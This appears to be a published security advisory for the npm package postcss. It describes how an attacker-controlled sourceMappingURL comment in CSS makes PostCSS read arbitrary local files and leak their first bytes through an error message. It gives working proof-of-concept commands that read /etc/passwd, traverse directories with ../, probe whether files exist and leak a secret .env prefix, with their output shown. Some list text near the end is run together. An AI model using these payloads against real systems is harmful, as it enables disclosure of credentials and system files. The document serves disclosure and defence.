npm · postcss
PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments
PostCSS's PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).
The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.
Input constructor (lib/input.js:70-77):
if (pathAvailable && sourceMapAvailable) {
let map = new PreviousMap(this.css, opts)
if (map.text) {
this.map = map
let file = map.consumer().file
if (!this.file && file) this.file = this.mapResolve(file)
}
}
PreviousMap constructor (lib/previous-map.js:17-29):
constructor(css, opts) {
if (opts.map === false) return
this.loadAnnotation(css)
this.inline = this.startWith(this.annotation, 'data:')
let prev = opts.map ? opts.map.prev : undefined
let text = this.loadMap(opts.from, prev)
...
}
Note opts.map === false is the only short-circuit. With default options (opts.map === undefined), the rest of the constructor — including the filesystem read — executes.
loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:
loadAnnotation(css) {
let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
if (!comments) return
let start = css.lastIndexOf(comments.pop())
let end = css.indexOf('*/', start)
if (start > -1 && end > -1) {
this.annotation = this.getAnnotationURL(css.substring(start, end))
}
}
getAnnotationURL (lib/previous-map.js:59-61) only strips the /*# sourceMappingURL= prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.
loadMap (lib/previous-map.js:124-128) — when prev is absent and the annotation is not an inline data: URI:
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
return this.loadFile(map)
}
opts.from is unset, file is undefined and the raw attacker-supplied path (e.g. /etc/passwd) is used directly.opts.from is set, path.join(dirname(file), attackerPath) is used. path.join does not block .. segments, so ../../../../../etc/passwd resolves outside the intended directory.loadFile (lib/previous-map.js:86-92) is the sink:
loadFile(path) {
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:
Unexpected token 'r', "root:x:0:0"... is not valid JSON
This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.
Trust-boundary analysis:
postcss().process(css, opts?)./etc/passwd, /proc/self/environ, etc.startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.Primitives obtained:
JSON.parse SyntaxError message.loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states./dev/zero, very large files, or device files can stall or crash the process.All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.
Vector 1 — Absolute path, default options (no from, no map):
$ node -e 'const p=require("postcss"); \
try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.
Vector 2 — Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):
$ node -e 'const p=require("postcss"); \
p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
{from:"/var/www/html/styles/main.css", map:{inline:false}}) \
.catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.
Vector 3 — File-existence oracle:
# Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok
Vector 4 — Custom file-content leak:
$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.
Filesystem-call trace (proves the read happens with no opts at all):
const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON
postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed.JSON.parse SyntaxError. This is enough to recover SSH-key headers, environment-variable prefixIs your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.